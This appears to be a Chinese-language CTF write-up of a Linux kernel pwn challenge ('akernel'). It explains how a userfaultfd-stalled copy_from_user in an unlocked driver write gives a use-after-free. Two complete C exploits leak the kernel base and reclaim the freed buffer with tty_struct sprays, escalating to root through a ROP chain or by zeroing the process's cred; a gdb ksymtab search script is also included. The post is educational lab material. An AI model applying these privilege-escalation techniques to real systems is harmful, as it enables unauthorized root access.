从一道kernelpwn题了解userfaultfd机制的利用

0rb1t Lv2

题目名称:akernel

附件:https://pan.baidu.com/s/1qJKgj6SZBnkcWuo3WrosBw?pwd=GAME

分析

我们先对rootfs.cpio进行解包

1
2
3
mkdir initramfs
cd initramfs
cpio -idm < ../rootfs.cpio

查看init文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/bin/sh

[ -d /dev ] || mkdir -m 0755 /dev
[ -d /sys ] || mkdir /sys
[ -d /proc ] || mkdir /proc
[ -d /tmp ] || mkdir /tmp
[ -d /etc ] || mkdir /etc

mount -t proc -o nodev,noexec,nosuid proc /proc
mount -t sysfs -o nodev,noexec,nosuid sysfs /sys
mount -t devtmpfs -o nosuid,mode=0755 udev /dev
mount -t tmpfs tmpfs /tmp

mkdir -p /dev/pts
mkdir -p /var/lock
mount -t devpts -o noexec,nosuid,gid=5,mode=0620 devpts /dev/pts || true

ln -sf /proc/mounts /etc/mtab

echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
echo 1 > /proc/sys/kernel/perf_event_paranoid
echo 1 > /proc/sys/vm/unprivileged_userfaultfd//开启非特权userfaultfd

mdev -s
chown root:user /dev/console
chown root:user /dev/ptmx
chown root:user /dev/tty

cat /dev/sda > /flag
chmod 600 flag

insmod /akernel.ko
chmod 666 /dev/akernel

setsid /bin/cttyhack setuidgid 1000 /bin/sh

poweroff -d 0 -f

通过insmod命令可以知道驱动文件是akernel.ko

运行./start.sh启动qemu

uname查看系统版本可以看到是5.11,默认userfaultfd在5.11及以后需要特权用户才能使用,不过先前init文件中使用命令开启了非特权userfaultfd,所以我们仍然可以利用这个机制。

image-20240911194529435

ida分析akernel.ko。

可以看到akernel_ioctl函数,指令0xff04会将用户设置的任意地址的值copy到ptr上。

image-20240911194721892

akernel_read函数可以将ptr上的数据copy给用户。

image-20240911194932789

结合两者我们可以实现任意地址读。

因为启动了kaslr,所以我们需要泄露内核基地址。

泄露方法也很简单,利用任意地址读读取固定地址cpu_entry_area,该地址上存放着存放的内核基地址,并且cpu_entry_area不受kaslr影响,始终固定。

image-20240915171417502

image-20240915171637089

接下来我们继续寻找其他漏洞。

可以看到akernel_write函数没有给ptr加锁而是直接将用户数据copy到ptr上。

image-20240915172120399

ioctl指令0xff01将ptr进行清空和释放。

image-20240915172230373

由于没有对ptr加锁,所以我们可以先使用kernel_write调用copy_from_user触发userfaultfd卡住调用handler函数,然后handler函数发送信号1并等待信号2。UAF函数接收到信号1调用ioctl_0xff01释放堆,并调用系统的一些api申请同样大小的堆块重新把刚释放的堆块申请回来,接着发送信号2。handler函数接收信号2会继续先前的copy_from_user,而这个时候就会将数据copy到原堆块,但该堆块已经被释放并被其他函数申请走了,此时就会导致uaf。

这里heap申请的是0x300的堆,实际会得到0x400的堆块,可以使用pipe_buffer或者tty_struct进行uaf的利用,这里我们使用tty进行利用。

若是没有开启fgkaslr(或者prepare_kernel_cred和commit_creds没有参与细化)可以直接构造rop提权
Exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <ctype.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/signal.h>
#include <string.h>
#include <semaphore.h>
#include <syscall.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <poll.h>

#define _QWORD unsigned long
#define _DWORD unsigned int
#define _WORD unsigned short
#define _BYTE unsigned char
#define ULL unsigned long long
#define CLOSE printf("\033[0m\n");
#define RED printf("\033[31m");
#define GREEN printf("\033[36m");
#define BLUE printf("\033[34m");
#define YELLOW printf("\033[33m");
#define PURPLE printf("\033[35m");

void binary_dump(char* buf, size_t size, long long base_addr = 0) {
printf("\033[33mDump:\n\033[0m");
char* ptr;
for (int i = 0; i < size / 0x20; i++) {
ptr = buf + i * 0x20;
printf("0x%016llx: ", base_addr + i * 0x20);
for (int j = 0; j < 4; j++) {
printf("0x%016llx ", *(long long*)(ptr + 8 * j));
}
printf(" ");
for (int j = 0; j < 0x20; j++) {
printf("%c", isprint(ptr[j]) ? ptr[j] : '.');
}
putchar('\n');
}
if (size % 0x20 != 0) {
int k = size - size % 0x20;
printf("0x%016llx: ", base_addr + k);
ptr = buf + k;
for (int i = 0; i <= (size - k) / 8; i++) {
printf("0x%016llx ", *(long long*)(ptr + 8 * i));
}
for (int i = 0; i < 3 - (size - k) / 8; i++) {
printf("%19c", ' ');
}
printf(" ");
for (int j = 0; j < size - k; j++) {
printf("%c", isprint(ptr[j]) ? ptr[j] : '.');
}
putchar('\n');
}
}

unsigned long long user_sp, user_cs, user_ss, user_rflags, user_rip;

void get_shell() {
printf("\033[35mGetShell Success!\033[0m\n");
system("/bin/sh");
return;
}

void save_user_land() {
__asm__(
".intel_syntax noprefix;"
"mov user_cs,cs;"
"mov user_sp,rsp;"
"mov user_ss,ss;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
user_rip = (unsigned long long)get_shell;
puts("\033[34mUser land saved.\033[0m");
printf("\033[34muser_ss:0x%llx\033[0m\n", user_ss);
printf("\033[34muser_sp:0x%llx\033[0m\n", user_sp);
printf("\033[34muser_rflags:0x%llx\033[0m\n", user_rflags);
printf("\033[34muser_cs:0x%llx\033[0m\n", user_cs);
printf("\033[34muser_rip:0x%llx\033[0m\n", user_rip);
}



char buf[0x1000];
int spray[0x20];
int fd;
long save_pkr_not_offset = 0x112e3c4, save_cc_not_offset = 0x1124af0;
long kernel_entry = 0xfffffe0000000000, kernel_base, ko_save_addr, need_kernel_addr, ko_addr, ptr;
sem_t sem1, sem2, sem3;

void RegisterUserfault(void* start, int len, void* handler) {
int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
uffdio_register ur = { 0 };
uffdio_api ua = { 0 };
ur.range.start = (ULL)start;
ur.range.len = len;
ur.mode = UFFDIO_REGISTER_MODE_MISSING;
ua.api = UFFD_API;
ua.features = 0;
if (ioctl(uffd, UFFDIO_API, &ua) == -1)
perror("[-] ioctl-UFFDIO_API");
ioctl(uffd, UFFDIO_REGISTER, &ur);
pthread_t pt;
pthread_create(&pt, NULL, (void* (*)(void*))handler, (void*)uffd);
}

void UserfaultHandler(int uffd) {
uffd_msg msg;
uffdio_copy uc = { 0 };
unsigned long* data = (unsigned long*)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
int idx = 0x11;
data[0] = 0x0000000100005401;
data[2] = ptr;
data[3] = ptr;
data[12] = kernel_base + 0xada33d; //push rdx; pop rsp; pop r13; ret;
data[idx++] = kernel_base + 0x001518;//pop rdi; ret;
data[idx++] = 0;
data[idx++] = need_kernel_addr + 0x498e10;//prepare_kernel_cred
data[idx++] = kernel_base + 0x000c66;//pop rbx; ret;
data[idx++] = 0;
data[idx++] = kernel_base + 0x77508e;//mov rdi, rax; pop rbx; ret;
data[idx++] = 0;
data[idx++] = need_kernel_addr + 0x4989d0;//commit_creds
data[idx++] = kernel_base + 0x054422;//swapgs; ret;
data[idx++] = kernel_base + 0x427f1b;//iretq; ret;
data[idx++] = user_rip;
data[idx++] = user_cs;
data[idx++] = user_rflags;
data[idx++] = user_sp;
data[idx++] = user_ss;
for (;;) {
pollfd pf = { 0 };
pf.fd = uffd;
pf.events = POLLIN;
poll(&pf, 1, -1);
read(uffd, &msg, sizeof(msg));
if (msg.event <= 0) {
printf("Pass one event.");
continue;
}
RED printf("Stage 1."); CLOSE;
sem_post(&sem1);
sem_wait(&sem2);
RED printf("Stage 2."); CLOSE;
uc.src = (ULL)data;
uc.dst = msg.arg.pagefault.address & ~(getpagesize() - 1);
uc.len = getpagesize();
uc.mode = 0;
uc.copy = 0;
ioctl(uffd, UFFDIO_COPY, &uc);
sem_post(&sem3);
break;
}
}

void UAF() {
sem_wait(&sem1);
ioctl(fd, 0xFF01);
for (int i = 0; i < 0x20; i++) {
spray[i] = open("/dev/ptmx", O_RDWR);
}
sem_post(&sem2);
}

int main() {
save_user_land();
fd = open("/dev/akernel", O_RDWR);
signal(SIGSEGV, (sighandler_t)get_shell);
sem_init(&sem1, 0, 0);
sem_init(&sem2, 0, 0);
sem_init(&sem3, 0, 0);
ioctl(fd, 0xFF00);
ioctl(fd, 0xFF04, kernel_entry + 4);
read(fd, buf, 0x100);
binary_dump(buf, 0x100, 0);
kernel_base = *(long*)buf - 0x208e00;
YELLOW printf("kernel base: 0x%lx", kernel_base); CLOSE;
ko_save_addr = kernel_base + 0x1407a98;
ioctl(fd, 0xFF04, ko_save_addr);
read(fd, buf, 0x100);
binary_dump(buf, 0x100, 0);
ko_addr = *(long*)buf;
YELLOW printf("ko addr: 0x%lx", ko_addr); CLOSE;
ioctl(fd, 0xFF04, kernel_base + 0x114d0d8);
read(fd, buf, 0x100);
binary_dump(buf, 0x100, 0);
need_kernel_addr = *(long*)buf;
YELLOW printf("need kernel addr: 0x%lx", need_kernel_addr); CLOSE;
ioctl(fd, 0xFF04, ko_addr + 0x2528);
read(fd, buf, 0x100);
binary_dump(buf, 0x100, 0);
ptr = *(long*)buf;
YELLOW printf("ptr: 0x%lx", ptr); CLOSE;
void* map = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
RegisterUserfault(map, 0x1000, (void*)UserfaultHandler);
pthread_t pt;
pthread_create(&pt, NULL, (void* (*)(void*))UAF, NULL);
write(fd, map, 0x2e0);
sem_wait(&sem3);
RED printf("Stage 3."); CLOSE;
getchar();
for (int i = 0; i < 0x20; i++) {
ioctl(spray[i], 0, ptr + 0x80);
}
return 0;
}
本题实际开启了fgkaslr,且两个提权函数都参与了细化,我们可以利用aar&aaw实现对cred的搜索,并修改用户cred来提权,或者通过ksymtab表获取prepare_kernel_cred和commit_creds的函数偏移。

使用后者打法需要用到的magic_gadget较为复杂,不好利用,所以我们使用前者的打法,但这里我记录下ksymtab打法的大致思路。

ksymtab

kernel_symbol是一个结构体,其记录了函数的偏移、函数名的偏移以及命名空间的偏移。

1
2
3
4
5
struct kernel_symbol {
int value_offset;
int name_offset;
int namespace_offset;
};

而ksymtab则是kernel_symbol的集合表,ksymtab记录了几乎所有内核函数的symbol。

内核保存了ksymtab的表头和表尾,我们可以通过cat /proc/kallsyms获取ksymtab的内核地址。

但有时候内核符号表并不会记录它的偏移,此时我们可以使用函数定位法来查找ksymtab的地址。

image-20240917013229779

这里我们可以看到,find_symbol函数将ksymtab的信息存入了arr中,并将其传递给find_exported_symbol_in_section进行调用。

1
2
3
4
5
6
7
8
struct symsearch {
const struct kernel_symbol *start, *stop;
const s32 *crcs;
enum mod_license {
NOT_GPL_ONLY,
GPL_ONLY,
} license;
};

而find_symbol函数一般都可以通过kallsyms找到,所以我们可以启动gdb调试,通过find_symbol函数定位ksymtab。

image-20240917013758849

image-20240917013903522

image-20240917013933653

可以看到这里的0xffffffffbac0e280便是arr的地址。

image-20240917014055249

第一个地址指向表头,第二个指向表尾,由此我们找到了ksymtab。

关于函数地址和函数名地址的计算方法分别是:

func_addr = &ksymtab[idx].value_offset+ksymtab[idx].value_offset-(2^32)

name_addr = &ksymtab[idx].name_offset+name_offset

image-20240917014818730

为了方便查找对应函数,我们使用python编写gdb脚本来辅助查找。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import gdb

class Find(gdb.Command):
def __init__(self):
# 4. 在构造函数中注册该命令的名字
super(self.__class__, self).__init__("find_func_from_ksymtab", gdb.COMMAND_USER)

def invoke(self, args, from_tty):
argv = gdb.string_to_argv(args)
if len(argv) != 3:
print("Usage: find_func_from_ksymtab [func_name] [start_addr] [end_addr]")
return
func_name = argv[0]
if argv[1][:2]=='0x':
start_addr = int(argv[1], 16)
else:
start_addr = int(argv[1])
if argv[2][:2]=='0x':
end_addr = int(argv[2], 16)
else:
end_addr = int(argv[2])
for addr in range(start_addr,end_addr,3*4):
mem = gdb.execute(f"x/3xw {addr}", to_string=True).split(" ")
value_off = int(mem[1],16)
name_off = int(mem[2],16)
namespace_off = int(mem[3],16)
name = gdb.execute(f"x/s {addr+4+name_off}",to_string=True).split(" ")[1][1:-2]
if name==func_name:
print(func_name+":",hex(addr+value_off-(2**32)),"ksymtab:",hex(addr))
return


Find()

展示效果

image-20240917015111922

由此我们可以找到prepare_kernel_cred和commit_creds函数对应的ksymtab位置。

然后利用任意地址读获取ksymtab保存的函数偏移,从而计算出函数的实际地址加以利用。

change_user_cred

其中aar&aaw使用的gadget如下

aaw

aar

利用这两个gadget我们就可以通过控制rdx即ioctl的第三个参数,实现任意地址读和任意地址写入0.

以此我们只需要使用prctl设置程序名为特殊字符,我们这设置为’0rb1t123’,该字符会存储到task_struct结构体的comm成员中。

1
prctl(PR_SET_NAME, "0rb1t123");

task_struct

可以看到comm成员上面便是cred成员,这便是我们要修改的用户凭证。

image-20240916223746481

可以看到,我们只需要往cred结构体中写入0将uid,gid…都给淹没成0,即可成功提权。

Exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <ctype.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/signal.h>
#include <string.h>
#include <semaphore.h>
#include <syscall.h>
#include <linux/userfaultfd.h>
#include <sys/prctl.h>
#include <pthread.h>
#include <poll.h>

#define _QWORD unsigned long
#define _DWORD unsigned int
#define _WORD unsigned short
#define _BYTE unsigned char
#define ULL unsigned long long
#define CLOSE printf("\033[0m\n");
#define RED printf("\033[31m");
#define GREEN printf("\033[36m");
#define BLUE printf("\033[34m");
#define YELLOW printf("\033[33m");
#define PURPLE printf("\033[35m");

void binary_dump(char* buf, size_t size, long long base_addr = 0) {
printf("\033[33mDump:\n\033[0m");
char* ptr;
for (int i = 0; i < size / 0x20; i++) {
ptr = buf + i * 0x20;
printf("0x%016llx: ", base_addr + i * 0x20);
for (int j = 0; j < 4; j++) {
printf("0x%016llx ", *(long long*)(ptr + 8 * j));
}
printf(" ");
for (int j = 0; j < 0x20; j++) {
printf("%c", isprint(ptr[j]) ? ptr[j] : '.');
}
putchar('\n');
}
if (size % 0x20 != 0) {
int k = size - size % 0x20;
printf("0x%016llx: ", base_addr + k);
ptr = buf + k;
for (int i = 0; i <= (size - k) / 8; i++) {
printf("0x%016llx ", *(long long*)(ptr + 8 * i));
}
for (int i = 0; i < 3 - (size - k) / 8; i++) {
printf("%19c", ' ');
}
printf(" ");
for (int j = 0; j < size - k; j++) {
printf("%c", isprint(ptr[j]) ? ptr[j] : '.');
}
putchar('\n');
}
}

unsigned long long user_sp, user_cs, user_ss, user_rflags, user_rip;

void get_shell() {
printf("\033[35mGetShell Success!\033[0m\n");
system("/bin/sh");
return;
}

void save_user_land() {
__asm__(
".intel_syntax noprefix;"
"mov user_cs,cs;"
"mov user_sp,rsp;"
"mov user_ss,ss;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
user_rip = (unsigned long long)get_shell;
puts("\033[34mUser land saved.\033[0m");
printf("\033[34muser_ss:0x%llx\033[0m\n", user_ss);
printf("\033[34muser_sp:0x%llx\033[0m\n", user_sp);
printf("\033[34muser_rflags:0x%llx\033[0m\n", user_rflags);
printf("\033[34muser_cs:0x%llx\033[0m\n", user_cs);
printf("\033[34muser_rip:0x%llx\033[0m\n", user_rip);
}



char buf[0x1000];
int spray[0x20];
int fd, tty1, tty2;
long save_pkr_not_offset = 0x112e3c4, save_cc_not_offset = 0x1124af0;
long kernel_entry = 0xfffffe0000000000, kernel_base, ko_save_addr, need_kernel_addr, ko_addr, ptr;
sem_t sem1, sem2, sem3;

void RegisterUserfault(void* start, int len, void* handler) {
int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
uffdio_register ur = { 0 };
uffdio_api ua = { 0 };
ur.range.start = (ULL)start;
ur.range.len = len;
ur.mode = UFFDIO_REGISTER_MODE_MISSING;
ua.api = UFFD_API;
ua.features = 0;
if (ioctl(uffd, UFFDIO_API, &ua) == -1)
perror("[-] ioctl-UFFDIO_API");
ioctl(uffd, UFFDIO_REGISTER, &ur);
pthread_t pt;
pthread_create(&pt, NULL, (void* (*)(void*))handler, (void*)uffd);
}

void UserfaultHandler1(int uffd) {
uffd_msg msg;
uffdio_copy uc = { 0 };
unsigned long* data = (unsigned long*)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
int idx = 0x11;
data[0] = 0x0000000100005401;
data[2] = ptr;
data[3] = ptr;
data[12] = kernel_base + 0x055a47;//mov rax, qword ptr [rax + rdx]; ret;
data[0x268 / 8] = ptr + 0x268;
for (;;) {
pollfd pf = { 0 };
pf.fd = uffd;
pf.events = POLLIN;
poll(&pf, 1, -1);
read(uffd, &msg, sizeof(msg));
if (msg.event <= 0) {
printf("Pass one event.");
continue;
}
RED printf("Stage 1."); CLOSE;
sem_post(&sem1);
sem_wait(&sem2);
RED printf("Stage 2."); CLOSE;
uc.src = (ULL)data;
uc.dst = msg.arg.pagefault.address & ~(getpagesize() - 1);
uc.len = getpagesize();
uc.mode = 0;
uc.copy = 0;
ioctl(uffd, UFFDIO_COPY, &uc);

sem_post(&sem3);
break;
}
}

void UserfaultHandler2(int uffd) {
uffd_msg msg;
uffdio_copy uc = { 0 };
unsigned long* data = (unsigned long*)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
int idx = 0x11;
data[0] = 0x0000000100005401;
data[2] = ptr;
data[3] = ptr;
data[12] = kernel_base + 0x555d9;//mov dword ptr [rdx + 0x18], 0; ret;
data[0x268 / 8] = ptr + 0x268;
for (;;) {
pollfd pf = { 0 };
pf.fd = uffd;
pf.events = POLLIN;
poll(&pf, 1, -1);
read(uffd, &msg, sizeof(msg));
if (msg.event <= 0) {
printf("Pass one event.");
continue;
}
RED printf("Stage 1."); CLOSE;
sem_post(&sem1);
sem_wait(&sem2);
RED printf("Stage 2."); CLOSE;
uc.src = (ULL)data;
uc.dst = msg.arg.pagefault.address & ~(getpagesize() - 1);
uc.len = getpagesize();
uc.mode = 0;
uc.copy = 0;
ioctl(uffd, UFFDIO_COPY, &uc);
sem_post(&sem3);
break;
}
}

void UAF() {
sem_wait(&sem1);
ioctl(fd, 0xFF01);
for (int i = 0; i < 0x20; i++) {
spray[i] = open("/dev/ptmx", O_RDWR);
}
sem_post(&sem2);
}

int main() {
save_user_land();
prctl(PR_SET_NAME, "0rb1t123");
fd = open("/dev/akernel", O_RDWR);
signal(SIGSEGV, (sighandler_t)get_shell);
sem_init(&sem1, 0, 0);
sem_init(&sem2, 0, 0);
sem_init(&sem3, 0, 0);
ioctl(fd, 0xFF00);
ioctl(fd, 0xFF04, kernel_entry + 4);
read(fd, buf, 0x100);
binary_dump(buf, 0x100, 0);
kernel_base = *(long*)buf - 0x208e00;
YELLOW printf("kernel base: 0x%lx", kernel_base); CLOSE;
ko_save_addr = kernel_base + 0x1407a98;
ioctl(fd, 0xFF04, ko_save_addr);
read(fd, buf, 0x100);
binary_dump(buf, 0x100, 0);
ko_addr = *(long*)buf;
YELLOW printf("ko addr: 0x%lx", ko_addr); CLOSE;
ioctl(fd, 0xFF04, kernel_base + 0x114d0d8);
read(fd, buf, 0x100);
binary_dump(buf, 0x100, 0);
need_kernel_addr = *(long*)buf;
YELLOW printf("need kernel addr: 0x%lx", need_kernel_addr); CLOSE;
ioctl(fd, 0xFF04, ko_addr + 0x2528);
read(fd, buf, 0x100);
binary_dump(buf, 0x100, 0);
ptr = *(long*)buf;
YELLOW printf("ptr: 0x%lx", ptr); CLOSE;
void* map = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
RegisterUserfault(map, 0x1000, (void*)UserfaultHandler1);
pthread_t pt;
pthread_create(&pt, NULL, (void* (*)(void*))UAF, NULL);
RED printf("-------------Step 1.-------------"); CLOSE;
write(fd, map, 0x2e0);
sem_wait(&sem3);
RED printf("Stage 3."); CLOSE;
for (int i = 0; i < 0x20; i++) {
int ret = ioctl(spray[i], 0, ptr - kernel_base - 0x055a47);
if (ret == 0x0005401) {
tty1 = spray[i];
GREEN printf("UAF success."); CLOSE;
for (int j = i + 1; j < 0x20; j++) {
close(spray[j]);
}
break;
}
close(spray[i]);
}
if (!tty1) {
perror("Not found uaf tty.");
return 0;
}
long cred = 0;
for (int i = -0x400000; i < 0; i += 4) {
int ret = ioctl(tty1, 0, ptr + i - kernel_base - 0x055a47);
if (ret == '1br0') {
ret = ioctl(tty1, 0, ptr + i + 4 - kernel_base - 0x055a47);
if (ret == '321t') {
cred = (unsigned int)ioctl(tty1, 0, ptr + i - 0x10 - kernel_base - 0x055a47);
cred |= (long)ioctl(tty1, 0, ptr + i - 0x10 + 4 - kernel_base - 0x055a47) << 32;
if (!cred)continue;
GREEN printf("Found Cred addr is 0x%lx.", cred); CLOSE;
break;
}
}
}
if (!cred) {
perror("Not found cred.");
return 0;
}
RED printf("-------------Step 2.-------------"); CLOSE;
void *map2 = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
RegisterUserfault(map2, 0x1000, (void*)UserfaultHandler2);
pthread_t pt2;
pthread_create(&pt2, NULL, (void* (*)(void*))UAF, NULL);
ioctl(fd, 0xFF00);
ptr = (unsigned int)ioctl(tty1, 0, ko_addr + 0x2528 - kernel_base - 0x055a47);
ptr |= (long)ioctl(tty1, 0, ko_addr + 0x2528 + 4 - kernel_base - 0x055a47) << 32;
YELLOW printf("new ptr: 0x%lx", ptr); CLOSE;
write(fd, map2, 0x2e0);
sem_wait(&sem3);
RED printf("Stage 3."); CLOSE;
for (int i = 0; i < 0x20; i++) {
for (int j = 1; j < 9; j++) {
ioctl(spray[i], 0, cred + 4*j - 0x18);
}
}
get_shell();
return 0;
}

附上lotus✌提供的musl编译userfaultfd命令参数。

1
musl-gcc exp.c --static -lpthread -idirafter /usr/include/ -idirafter /usr/include/x86_64-linux-gnu/ -o exp
  • Title: 从一道kernelpwn题了解userfaultfd机制的利用
  • Author: 0rb1t
  • Created at : 2024-09-11 19:33:05
  • Updated at : 2024-09-17 01:54:16
  • Link: https://redefine.ohevan.com/2024/09/11/从一道kernelpwn题了解userfaultfd机制的利用/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments
On this page
从一道kernelpwn题了解userfaultfd机制的利用